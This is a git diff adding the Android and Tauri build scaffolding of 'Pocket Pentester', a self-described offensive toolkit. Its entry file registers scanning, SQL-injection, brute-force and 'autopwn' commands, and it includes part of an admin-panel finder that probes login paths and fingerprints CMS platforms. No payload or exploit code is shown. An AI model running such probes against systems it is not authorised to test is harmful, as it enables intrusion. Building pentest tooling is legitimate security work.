0000000..b27fb04 Binary files /dev/null and b/src-tauri/gen/android/app/src/main/res/mipmap-hdpi/ic_launcher_foreground.png differ diff --git a/src-tauri/gen/android/app/src/main/res/mipmap-hdpi/ic_launcher_round.png b/src-tauri/gen/android/app/src/main/res/mipmap-hdpi/ic_launcher_round.png new file mode 100644 index 0000000..68824c3 Binary files /dev/null and b/src-tauri/gen/android/app/src/main/res/mipmap-hdpi/ic_launcher_round.png differ diff --git a/src-tauri/gen/android/app/src/main/res/mipmap-mdpi/ic_launcher.png b/src-tauri/gen/android/app/src/main/res/mipmap-mdpi/ic_launcher.png new file mode 100644 index 0000000..01c497b Binary files /dev/null and b/src-tauri/gen/android/app/src/main/res/mipmap-mdpi/ic_launcher.png differ diff --git a/src-tauri/gen/android/app/src/main/res/mipmap-mdpi/ic_launcher_foreground.png b/src-tauri/gen/android/app/src/main/res/mipmap-mdpi/ic_launcher_foreground.png new file mode 100644 index 0000000..adfdf00 Binary files /dev/null and b/src-tauri/gen/android/app/src/main/res/mipmap-mdpi/ic_launcher_foreground.png differ diff --git a/src-tauri/gen/android/app/src/main/res/mipmap-mdpi/ic_launcher_round.png b/src-tauri/gen/android/app/src/main/res/mipmap-mdpi/ic_launcher_round.png new file mode 100644 index 0000000..01c497b Binary files /dev/null and b/src-tauri/gen/android/app/src/main/res/mipmap-mdpi/ic_launcher_round.png differ diff --git a/src-tauri/gen/android/app/src/main/res/mipmap-xhdpi/ic_launcher.png b/src-tauri/gen/android/app/src/main/res/mipmap-xhdpi/ic_launcher.png new file mode 100644 index 0000000..d13217f Binary files /dev/null and b/src-tauri/gen/android/app/src/main/res/mipmap-xhdpi/ic_launcher.png differ diff --git a/src-tauri/gen/android/app/src/main/res/mipmap-xhdpi/ic_launcher_foreground.png b/src-tauri/gen/android/app/src/main/res/mipmap-xhdpi/ic_launcher_foreground.png new file mode 100644 index 0000000..8fbe5dd Binary files /dev/null and b/src-tauri/gen/android/app/src/main/res/mipmap-xhdpi/ic_launcher_foreground.png differ diff --git a/src-tauri/gen/android/app/src/main/res/mipmap-xhdpi/ic_launcher_round.png b/src-tauri/gen/android/app/src/main/res/mipmap-xhdpi/ic_launcher_round.png new file mode 100644 index 0000000..d13217f Binary files /dev/null and b/src-tauri/gen/android/app/src/main/res/mipmap-xhdpi/ic_launcher_round.png differ diff --git a/src-tauri/gen/android/app/src/main/res/mipmap-xxhdpi/ic_launcher.png b/src-tauri/gen/android/app/src/main/res/mipmap-xxhdpi/ic_launcher.png new file mode 100644 index 0000000..cb2e47b Binary files /dev/null and b/src-tauri/gen/android/app/src/main/res/mipmap-xxhdpi/ic_launcher.png differ diff --git a/src-tauri/gen/android/app/src/main/res/mipmap-xxhdpi/ic_launcher_foreground.png b/src-tauri/gen/android/app/src/main/res/mipmap-xxhdpi/ic_launcher_foreground.png new file mode 100644 index 0000000..4d04c77 Binary files /dev/null and b/src-tauri/gen/android/app/src/main/res/mipmap-xxhdpi/ic_launcher_foreground.png differ diff --git a/src-tauri/gen/android/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png b/src-tauri/gen/android/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png new file mode 100644 index 0000000..cb2e47b Binary files /dev/null and b/src-tauri/gen/android/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png differ diff --git a/src-tauri/gen/android/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png b/src-tauri/gen/android/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png new file mode 100644 index 0000000..6648122 Binary files /dev/null and b/src-tauri/gen/android/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png differ diff --git a/src-tauri/gen/android/app/src/main/res/mipmap-xxxhdpi/ic_launcher_foreground.png b/src-tauri/gen/android/app/src/main/res/mipmap-xxxhdpi/ic_launcher_foreground.png new file mode 100644 index 0000000..a303069 Binary files /dev/null and b/src-tauri/gen/android/app/src/main/res/mipmap-xxxhdpi/ic_launcher_foreground.png differ diff --git a/src-tauri/gen/android/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png b/src-tauri/gen/android/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png new file mode 100644 index 0000000..6648122 Binary files /dev/null and b/src-tauri/gen/android/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png differ diff --git a/src-tauri/gen/android/app/src/main/res/values-night/themes.xml b/src-tauri/gen/android/app/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..6063299 --- /dev/null +++ b/src-tauri/gen/android/app/src/main/res/values-night/themes.xml @@ -0,0 +1,6 @@ + + + + diff --git a/src-tauri/gen/android/app/src/main/res/values/colors.xml b/src-tauri/gen/android/app/src/main/res/values/colors.xml new file mode 100644 index 0000000..f8c6127 --- /dev/null +++ b/src-tauri/gen/android/app/src/main/res/values/colors.xml @@ -0,0 +1,10 @@ + + + #FFBB86FC + #FF6200EE + #FF3700B3 + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + \ No newline at end of file diff --git a/src-tauri/gen/android/app/src/main/res/values/strings.xml b/src-tauri/gen/android/app/src/main/res/values/strings.xml new file mode 100644 index 0000000..231d652 --- /dev/null +++ b/src-tauri/gen/android/app/src/main/res/values/strings.xml @@ -0,0 +1,4 @@ + + Pocket Pentester + Pocket Pentester + diff --git a/src-tauri/gen/android/app/src/main/res/values/themes.xml b/src-tauri/gen/android/app/src/main/res/values/themes.xml new file mode 100644 index 0000000..6063299 --- /dev/null +++ b/src-tauri/gen/android/app/src/main/res/values/themes.xml @@ -0,0 +1,6 @@ + + + + diff --git a/src-tauri/gen/android/app/src/main/res/xml/file_paths.xml b/src-tauri/gen/android/app/src/main/res/xml/file_paths.xml new file mode 100644 index 0000000..782d63b --- /dev/null +++ b/src-tauri/gen/android/app/src/main/res/xml/file_paths.xml @@ -0,0 +1,5 @@ + + + + + diff --git a/src-tauri/gen/android/build.gradle.kts b/src-tauri/gen/android/build.gradle.kts new file mode 100644 index 0000000..607240b --- /dev/null +++ b/src-tauri/gen/android/build.gradle.kts @@ -0,0 +1,22 @@ +buildscript { + repositories { + google() + mavenCentral() + } + dependencies { + classpath("com.android.tools.build:gradle:8.11.0") + classpath("org.jetbrains.kotlin:kotlin-gradle-plugin:1.9.25") + } +} + +allprojects { + repositories { + google() + mavenCentral() + } +} + +tasks.register("clean").configure { + delete("build") +} + diff --git a/src-tauri/gen/android/buildSrc/build.gradle.kts b/src-tauri/gen/android/buildSrc/build.gradle.kts new file mode 100644 index 0000000..5c55bba --- /dev/null +++ b/src-tauri/gen/android/buildSrc/build.gradle.kts @@ -0,0 +1,23 @@ +plugins { + `kotlin-dsl` +} + +gradlePlugin { + plugins { + create("pluginsForCoolKids") { + id = "rust" + implementationClass = "RustPlugin" + } + } +} + +repositories { + google() + mavenCentral() +} + +dependencies { + compileOnly(gradleApi()) + implementation("com.android.tools.build:gradle:8.11.0") +} + diff --git a/src-tauri/gen/android/buildSrc/src/main/java/com/imtaqin/pocketpentester/kotlin/BuildTask.kt b/src-tauri/gen/android/buildSrc/src/main/java/com/imtaqin/pocketpentester/kotlin/BuildTask.kt new file mode 100644 index 0000000..a3de125 --- /dev/null +++ b/src-tauri/gen/android/buildSrc/src/main/java/com/imtaqin/pocketpentester/kotlin/BuildTask.kt @@ -0,0 +1,68 @@ +import java.io.File +import org.apache.tools.ant.taskdefs.condition.Os +import org.gradle.api.DefaultTask +import org.gradle.api.GradleException +import org.gradle.api.logging.LogLevel +import org.gradle.api.tasks.Input +import org.gradle.api.tasks.TaskAction + +open class BuildTask : DefaultTask() { + @Input + var rootDirRel: String? = null + @Input + var target: String? = null + @Input + var release: Boolean? = null + + @TaskAction + fun assemble() { + val executable = """npm"""; + try { + runTauriCli(executable) + } catch (e: Exception) { + if (Os.isFamily(Os.FAMILY_WINDOWS)) { + // Try different Windows-specific extensions + val fallbacks = listOf( + "$executable.exe", + "$executable.cmd", + "$executable.bat", + ) + + var lastException: Exception = e + for (fallback in fallbacks) { + try { + runTauriCli(fallback) + return + } catch (fallbackException: Exception) { + lastException = fallbackException + } + } + throw lastException + } else { + throw e; + } + } + } + + fun runTauriCli(executable: String) { + val rootDirRel = rootDirRel ?: throw GradleException("rootDirRel cannot be null") + val target = target ?: throw GradleException("target cannot be null") + val release = release ?: throw GradleException("release cannot be null") + val args = listOf("run", "--", "tauri", "android", "android-studio-script"); + + project.exec { + workingDir(File(project.projectDir, rootDirRel)) + executable(executable) + args(args) + if (project.logger.isEnabled(LogLevel.DEBUG)) { + args("-vv") + } else if (project.logger.isEnabled(LogLevel.INFO)) { + args("-v") + } + if (release) { + args("--release") + } + args(listOf("--target", target)) + }.assertNormalExitValue() + } +} \ No newline at end of file diff --git a/src-tauri/gen/android/buildSrc/src/main/java/com/imtaqin/pocketpentester/kotlin/RustPlugin.kt b/src-tauri/gen/android/buildSrc/src/main/java/com/imtaqin/pocketpentester/kotlin/RustPlugin.kt new file mode 100644 index 0000000..4aa7fca --- /dev/null +++ b/src-tauri/gen/android/buildSrc/src/main/java/com/imtaqin/pocketpentester/kotlin/RustPlugin.kt @@ -0,0 +1,85 @@ +import com.android.build.api.dsl.ApplicationExtension +import org.gradle.api.DefaultTask +import org.gradle.api.Plugin +import org.gradle.api.Project +import org.gradle.kotlin.dsl.configure +import org.gradle.kotlin.dsl.get + +const val TASK_GROUP = "rust" + +open class Config { + lateinit var rootDirRel: String +} + +open class RustPlugin : Plugin { + private lateinit var config: Config + + override fun apply(project: Project) = with(project) { + config = extensions.create("rust", Config::class.java) + + val defaultAbiList = listOf("arm64-v8a", "armeabi-v7a", "x86", "x86_64"); + val abiList = (findProperty("abiList") as? String)?.split(',') ?: defaultAbiList + + val defaultArchList = listOf("arm64", "arm", "x86", "x86_64"); + val archList = (findProperty("archList") as? String)?.split(',') ?: defaultArchList + + val targetsList = (findProperty("targetList") as? String)?.split(',') ?: listOf("aarch64", "armv7", "i686", "x86_64") + + extensions.configure { + @Suppress("UnstableApiUsage") + flavorDimensions.add("abi") + productFlavors { + create("universal") { + dimension = "abi" + ndk { + abiFilters += abiList + } + } + defaultArchList.forEachIndexed { index, arch -> + create(arch) { + dimension = "abi" + ndk { + abiFilters.add(defaultAbiList[index]) + } + } + } + } + } + + afterEvaluate { + for (profile in listOf("debug", "release")) { + val profileCapitalized = profile.replaceFirstChar { it.uppercase() } + val buildTask = tasks.maybeCreate( + "rustBuildUniversal$profileCapitalized", + DefaultTask::class.java + ).apply { + group = TASK_GROUP + description = "Build dynamic library in $profile mode for all targets" + } + + tasks["mergeUniversal${profileCapitalized}JniLibFolders"].dependsOn(buildTask) + + for (targetPair in targetsList.withIndex()) { + val targetName = targetPair.value + val targetArch = archList[targetPair.index] + val targetArchCapitalized = targetArch.replaceFirstChar { it.uppercase() } + val targetBuildTask = project.tasks.maybeCreate( + "rustBuild$targetArchCapitalized$profileCapitalized", + BuildTask::class.java + ).apply { + group = TASK_GROUP + description = "Build dynamic library in $profile mode for $targetArch" + rootDirRel = config.rootDirRel + target = targetName + release = profile == "release" + } + + buildTask.dependsOn(targetBuildTask) + tasks["merge$targetArchCapitalized${profileCapitalized}JniLibFolders"].dependsOn( + targetBuildTask + ) + } + } + } + } +} \ No newline at end of file diff --git a/src-tauri/gen/android/gradle.properties b/src-tauri/gen/android/gradle.properties new file mode 100644 index 0000000..2a7ec69 --- /dev/null +++ b/src-tauri/gen/android/gradle.properties @@ -0,0 +1,24 @@ +# Project-wide Gradle settings. +# IDE (e.g. Android Studio) users: +# Gradle settings configured through the IDE *will override* +# any settings specified in this file. +# For more details on how to configure your build environment visit +# http://www.gradle.org/docs/current/userguide/build_environment.html +# Specifies the JVM arguments used for the daemon process. +# The setting is particularly useful for tweaking memory settings. +org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8 +# When configured, Gradle will run in incubating parallel mode. +# This option should only be used with decoupled projects. More details, visit +# http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects +# org.gradle.parallel=true +# AndroidX package structure to make it clearer which packages are bundled with the +# Android operating system, and which are packaged with your app"s APK +# https://developer.android.com/topic/libraries/support-library/androidx-rn +android.useAndroidX=true +# Kotlin code style for this project: "official" or "obsolete": +kotlin.code.style=official +# Enables namespacing of each library's R class so that its R class includes only the +# resources declared in the library itself and none from the library's dependencies, +# thereby reducing the size of the R class for that library +android.nonTransitiveRClass=true +android.nonFinalResIds=false \ No newline at end of file diff --git a/src-tauri/gen/android/gradle/wrapper/gradle-wrapper.jar b/src-tauri/gen/android/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 0000000..e708b1c Binary files /dev/null and b/src-tauri/gen/android/gradle/wrapper/gradle-wrapper.jar differ diff --git a/src-tauri/gen/android/gradle/wrapper/gradle-wrapper.properties b/src-tauri/gen/android/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 0000000..c5f9a53 --- /dev/null +++ b/src-tauri/gen/android/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,6 @@ +#Tue May 10 19:22:52 CST 2022 +distributionBase=GRADLE_USER_HOME +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14.3-bin.zip +distributionPath=wrapper/dists +zipStorePath=wrapper/dists +zipStoreBase=GRADLE_USER_HOME diff --git a/src-tauri/gen/android/gradlew b/src-tauri/gen/android/gradlew new file mode 100644 index 0000000..4f906e0 --- /dev/null +++ b/src-tauri/gen/android/gradlew @@ -0,0 +1,185 @@ +#!/usr/bin/env sh + +# +# Copyright 2015 the original author or authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +############################################################################## +## +## Gradle start up script for UN*X +## +############################################################################## + +# Attempt to set APP_HOME +# Resolve links: $0 may be a link +PRG="$0" +# Need this for relative symlinks. +while [ -h "$PRG" ] ; do + ls=`ls -ld "$PRG"` + link=`expr "$ls" : '.*-> \(.*\)$'` + if expr "$link" : '/.*' > /dev/null; then + PRG="$link" + else + PRG=`dirname "$PRG"`"/$link" + fi +done +SAVED="`pwd`" +cd "`dirname \"$PRG\"`/" >/dev/null +APP_HOME="`pwd -P`" +cd "$SAVED" >/dev/null + +APP_NAME="Gradle" +APP_BASE_NAME=`basename "$0"` + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD="maximum" + +warn () { + echo "$*" +} + +die () { + echo + echo "$*" + echo + exit 1 +} + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "`uname`" in + CYGWIN* ) + cygwin=true + ;; + Darwin* ) + darwin=true + ;; + MINGW* ) + msys=true + ;; + NONSTOP* ) + nonstop=true + ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD="$JAVA_HOME/jre/sh/java" + else + JAVACMD="$JAVA_HOME/bin/java" + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD="java" + which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." +fi + +# Increase the maximum file descriptors if we can. +if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then + MAX_FD_LIMIT=`ulimit -H -n` + if [ $? -eq 0 ] ; then + if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then + MAX_FD="$MAX_FD_LIMIT" + fi + ulimit -n $MAX_FD + if [ $? -ne 0 ] ; then + warn "Could not set maximum file descriptor limit: $MAX_FD" + fi + else + warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT" + fi +fi + +# For Darwin, add options to specify how the application appears in the dock +if $darwin; then + GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\"" +fi + +# For Cygwin or MSYS, switch paths to Windows format before running java +if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then + APP_HOME=`cygpath --path --mixed "$APP_HOME"` + CLASSPATH=`cygpath --path --mixed "$CLASSPATH"` + + JAVACMD=`cygpath --unix "$JAVACMD"` + + # We build the pattern for arguments to be converted via cygpath + ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null` + SEP="" + for dir in $ROOTDIRSRAW ; do + ROOTDIRS="$ROOTDIRS$SEP$dir" + SEP="|" + done + OURCYGPATTERN="(^($ROOTDIRS))" + # Add a user-defined pattern to the cygpath arguments + if [ "$GRADLE_CYGPATTERN" != "" ] ; then + OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)" + fi + # Now convert the arguments - kludge to limit ourselves to /bin/sh + i=0 + for arg in "$@" ; do + CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -` + CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option + + if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition + eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"` + else + eval `echo args$i`="\"$arg\"" + fi + i=`expr $i + 1` + done + case $i in + 0) set -- ;; + 1) set -- "$args0" ;; + 2) set -- "$args0" "$args1" ;; + 3) set -- "$args0" "$args1" "$args2" ;; + 4) set -- "$args0" "$args1" "$args2" "$args3" ;; + 5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;; + 6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;; + 7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;; + 8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;; + 9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;; + esac +fi + +# Escape application args +save () { + for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done + echo " " +} +APP_ARGS=`save "$@"` + +# Collect all arguments for the java command, following the shell quoting and substitution rules +eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS" + +exec "$JAVACMD" "$@" diff --git a/src-tauri/gen/android/gradlew.bat b/src-tauri/gen/android/gradlew.bat new file mode 100644 index 0000000..107acd3 --- /dev/null +++ b/src-tauri/gen/android/gradlew.bat @@ -0,0 +1,89 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem + +@if "%DEBUG%" == "" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%" == "" set DIRNAME=. +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if "%ERRORLEVEL%" == "0" goto execute + +echo. +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* + +:end +@rem End local scope for the variables with windows NT shell +if "%ERRORLEVEL%"=="0" goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 +exit /b 1 + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/src-tauri/gen/android/settings.gradle b/src-tauri/gen/android/settings.gradle new file mode 100644 index 0000000..3939116 --- /dev/null +++ b/src-tauri/gen/android/settings.gradle @@ -0,0 +1,3 @@ +include ':app' + +apply from: 'tauri.settings.gradle' diff --git a/src-tauri/icons/128x128.png b/src-tauri/icons/128x128.png new file mode 100644 index 0000000..f4cb672 Binary files /dev/null and b/src-tauri/icons/128x128.png differ diff --git a/src-tauri/icons/128x128@2x.png b/src-tauri/icons/128x128@2x.png new file mode 100644 index 0000000..8f3fda0 Binary files /dev/null and b/src-tauri/icons/128x128@2x.png differ diff --git a/src-tauri/icons/32x32.png b/src-tauri/icons/32x32.png new file mode 100644 index 0000000..b01ebf9 Binary files /dev/null and b/src-tauri/icons/32x32.png differ diff --git a/src-tauri/icons/Square107x107Logo.png b/src-tauri/icons/Square107x107Logo.png new file mode 100644 index 0000000..b1a699d Binary files /dev/null and b/src-tauri/icons/Square107x107Logo.png differ diff --git a/src-tauri/icons/Square142x142Logo.png b/src-tauri/icons/Square142x142Logo.png new file mode 100644 index 0000000..c70f648 Binary files /dev/null and b/src-tauri/icons/Square142x142Logo.png differ diff --git a/src-tauri/icons/Square150x150Logo.png b/src-tauri/icons/Square150x150Logo.png new file mode 100644 index 0000000..e6835bf Binary files /dev/null and b/src-tauri/icons/Square150x150Logo.png differ diff --git a/src-tauri/icons/Square284x284Logo.png b/src-tauri/icons/Square284x284Logo.png new file mode 100644 index 0000000..b99e796 Binary files /dev/null and b/src-tauri/icons/Square284x284Logo.png differ diff --git a/src-tauri/icons/Square30x30Logo.png b/src-tauri/icons/Square30x30Logo.png new file mode 100644 index 0000000..ef6856d Binary files /dev/null and b/src-tauri/icons/Square30x30Logo.png differ diff --git a/src-tauri/icons/Square310x310Logo.png b/src-tauri/icons/Square310x310Logo.png new file mode 100644 index 0000000..7620bfe Binary files /dev/null and b/src-tauri/icons/Square310x310Logo.png differ diff --git a/src-tauri/icons/Square44x44Logo.png b/src-tauri/icons/Square44x44Logo.png new file mode 100644 index 0000000..dfa8de5 Binary files /dev/null and b/src-tauri/icons/Square44x44Logo.png differ diff --git a/src-tauri/icons/Square71x71Logo.png b/src-tauri/icons/Square71x71Logo.png new file mode 100644 index 0000000..1ef79be Binary files /dev/null and b/src-tauri/icons/Square71x71Logo.png differ diff --git a/src-tauri/icons/Square89x89Logo.png b/src-tauri/icons/Square89x89Logo.png new file mode 100644 index 0000000..1fd5f66 Binary files /dev/null and b/src-tauri/icons/Square89x89Logo.png differ diff --git a/src-tauri/icons/StoreLogo.png b/src-tauri/icons/StoreLogo.png new file mode 100644 index 0000000..6a84909 Binary files /dev/null and b/src-tauri/icons/StoreLogo.png differ diff --git a/src-tauri/icons/icon.icns b/src-tauri/icons/icon.icns new file mode 100644 index 0000000..12a5bce Binary files /dev/null and b/src-tauri/icons/icon.icns differ diff --git a/src-tauri/icons/icon.ico b/src-tauri/icons/icon.ico new file mode 100644 index 0000000..b222f4f Binary files /dev/null and b/src-tauri/icons/icon.ico differ diff --git a/src-tauri/icons/icon.png b/src-tauri/icons/icon.png new file mode 100644 index 0000000..0ab2720 Binary files /dev/null and b/src-tauri/icons/icon.png differ diff --git a/src-tauri/src/lib.rs b/src-tauri/src/lib.rs new file mode 100644 index 0000000..c70bab8 --- /dev/null +++ b/src-tauri/src/lib.rs @@ -0,0 +1,59 @@ +mod modules; + +use modules::{admin_finder, autopwn, banner, dirfuzz, dns_tools, domain_grabber, form_brute, httpx, jwt, lan_map, port_scan, repeater, sqli, ssl_scan, subdomain, takeover, xploiter, xploiter_store, xss}; + +#[tauri::command] +fn banner() -> &'static str { + "Pocket Pentester v0.1 // offensive toolkit" +} + +#[tauri::command] +fn default_ports() -> Vec { + port_scan::top_1000_ports() +} + +#[cfg_attr(mobile, tauri::mobile_entry_point)] +pub fn run() { + tauri::Builder::default() + .plugin(tauri_plugin_opener::init()) + .invoke_handler(tauri::generate_handler![ + banner, + default_ports, + port_scan::port_scan, + subdomain::subdomain_enum, + subdomain::subdomain_sources, + httpx::http_probe, + takeover::takeover_scan, + sqli::sqli_scan, + xss::xss_scan, + jwt::jwt_analyze, + xploiter::xploit_run, + xploiter_store::xploit_store_init, + xploiter_store::xploit_store_list, + xploiter_store::xploit_store_read, + xploiter_store::xploit_store_save, + xploiter_store::xploit_store_delete, + xploiter_store::xploit_store_duplicate, + xploiter_store::xploit_store_starter_template, + autopwn::autopwn_run, + lan_map::lan_scan, + lan_map::lan_local_info, + repeater::repeater_send, + repeater::repeater_to_curl, + dirfuzz::dirfuzz_run, + dirfuzz::dirfuzz_common_wordlist, + admin_finder::admin_finder_run, + admin_finder::admin_finder_wordlist, + form_brute::form_brute_run, + form_brute::form_brute_common_users, + form_brute::form_brute_common_passwords, + dns_tools::dns_query, + ssl_scan::ssl_scan, + banner::banner_grab, + domain_grabber::iana_tld_list, + domain_grabber::domain_grab, + domain_grabber::wordlist_info, + ]) + .run(tauri::generate_context!()) + .expect("error while running tauri application"); +} diff --git a/src-tauri/src/main.rs b/src-tauri/src/main.rs new file mode 100644 index 0000000..0f8e0a4 --- /dev/null +++ b/src-tauri/src/main.rs @@ -0,0 +1,6 @@ +// Prevents additional console window on Windows in release, DO NOT REMOVE!! +#![cfg_attr(not(debug_assertions), windows_subsystem = "windows")] + +fn main() { + pocketpentester_lib::run() +} diff --git a/src-tauri/src/modules/admin_finder.rs b/src-tauri/src/modules/admin_finder.rs new file mode 100644 index 0000000..e2e8ad8 --- /dev/null +++ b/src-tauri/src/modules/admin_finder.rs @@ -0,0 +1,312 @@ +// =================================================================== +// Admin Panel Finder — probe common admin/login paths, detect CMS. +// Bundled with 450+ high-signal admin paths. +// =================================================================== + +use std::collections::HashSet; +use std::sync::Arc; +use std::time::Duration; + +use futures::stream::{self, StreamExt}; +use once_cell::sync::Lazy; +use regex::Regex; +use serde::{Deserialize, Serialize}; +use tauri::{AppHandle, Emitter}; +use tokio::sync::Semaphore; + +#[derive(Debug, Clone, Deserialize)] +pub struct AdminFindRequest { + pub base_url: String, + #[serde(default)] + pub extra_paths: Vec, + #[serde(default)] + pub use_builtin: bool, + #[serde(default)] + pub accept_status: Option>, + pub concurrency: usize, + pub timeout_ms: u64, + #[serde(default)] + pub follow_redirects: bool, +} + +#[derive(Debug, Clone, Serialize)] +pub struct AdminHit { + pub url: String, + pub status: u16, + pub size: u64, + pub title: Option, + pub platform: Option, + pub login_form: bool, + pub auth_header: Option, + pub redirect: Option, +} + +static TITLE_RE: Lazy = Lazy::new(|| Regex::new(r"(?is)]*>(.*?)").unwrap()); +static LOGIN_RE: Lazy = Lazy::new(|| Regex::new(r#"(?is)<(?:input|form)[^>]*(?:type=['"]password['"]|name=['"]password['"]|name=['"]passwd['"])"#).unwrap()); + +fn detect_platform(body: &str, title: &Option, hdrs: &reqwest::header::HeaderMap) -> Option { + let lo = body.to_lowercase(); + let t = title.clone().unwrap_or_default().to_lowercase(); + let powered = hdrs.get("x-powered-by").and_then(|v| v.to_str().ok()).unwrap_or("").to_lowercase(); + let server = hdrs.get("server").and_then(|v| v.to_str().ok()).unwrap_or("").to_lowercase(); + + if lo.contains("wp-login") || lo.contains("wp-submit") || t.contains("wordpress") { return Some("WordPress".into()); } + if lo.contains("com_users") || lo.contains("joomla") || t.contains("joomla") { return Some("Joomla".into()); } + if lo.contains("drupal-settings-json") || t.contains("drupal") { return Some("Drupal".into()); } + if lo.contains("dashboardwidgets") || lo.contains("wp-admin") { return Some("WordPress admin".into()); } + if t.contains("phpmyadmin") || lo.contains("phpmyadmin") { return Some("phpMyAdmin".into()); } + if lo.contains("adminer") || t.contains("adminer") { return Some("Adminer".into()); } + if t.contains("jenkins") || lo.contains("jenkins") { return Some("Jenkins".into()); } + if t.contains("jira") { return Some("Jira".into()); } + if t.contains("confluence") { return Some("Confluence".into()); } + if t.contains("gitlab") { return Some("GitLab".into()); } 